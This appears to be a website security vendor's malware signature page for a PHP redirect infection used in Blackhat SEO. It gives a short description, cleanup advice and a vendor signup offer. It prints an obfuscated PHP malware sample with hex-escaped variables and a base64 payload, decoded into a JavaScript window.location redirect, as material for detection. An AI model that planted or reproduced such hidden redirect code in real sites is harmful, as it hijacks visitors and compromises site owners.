Malware Signatures

  1. Home
  2. Malware Signatures
  3. php.redirect.js_window_location.001

php.redirect.js_window_location.001

Redirecting website traffic is another Blackhat SEO malicious technique. BlackHat SEO is used to manipulate the search engine results in order to benefit a website in terms of relevance.
The attacker used different encoding techniques to hide the javascript code, which is the final payload, calling window.location() function.

Affecting

Any vulnerable PHP based website. Outdated software or compromised passwords can act as an infection vector.

Cleanup

Inspect your site's files looking for obfuscated code (similar to the dump below) or files that you don't recognize. Also you can sign up with us and let our team remove the malware for you.

Dump


<?php
/* copyright */
${"x47Lx4fx42ALx53"}["x73vx72djdx71ex6e"] = "x76";
${"x47x4cOBx41LS"}["kx63x77x72x77x71x76x70dx78x65x67"] = "tx78t";
$bhrnpxrlx = "x6b";
${"Gx4cx4fx42Ax4cx53"}["ktx62x6cx69tytx67x64"] = "k";
foreach ($_GET as ${$bhrnpxrlx} => ${${"x47x4cOBx41x4cx53"}["x73x76x72djx64x71ex6e"]})
if (preg_match("!x5ex5ba-x7ax30x2d9]x7bx310x2cx33x32}$!is", ${${"x47x4cx4fx42x41Lx53"}["x6btblitx79tx67d"]})) {
$yghiudnxut = "x6b";
${"Gx4cx4fBx41x4cx53"}["x62x79x69x63hx6ax69"] = "tx78t";
${${"Gx4cx4fBx41x4cx53"}["byix63x68x6ai"]} = base64_decode("Px305ox633x52x79Kx510x4beyx42x32Yx58x49gx61Wx52x34Ix44x30x67x633x52x79x4cx6dlux5aGVx34T2Yx6fJzx38nKTsx67ax57x59gx4bx47x6cx6bx65CAx39x50x53x41txEEx77x4ex54x42x44Rx45x4dx78x4dTA4x4dx44Ax77Nx55Zx47Qx6bx4aEx4dx30x51x7aQx7ax55x77OEYx33Mx44VGQx6ax41xMDRx44x52x43Ix70Owx30x4bLx79x38x74x4cx54x34gx50Cx39x54Q1x4aJx55FQx2b");
echo str_replace("x5aZx5ax5a", ${$yghiudnxut}, ${${"x47x4cOx42ALx53"}["x6bx63x77x72x77x71vx70dxex67"]});
exit;
}
/* copyright */
?>

Decoded to:
<script language="javascript">window.location="http:// site removed";</script>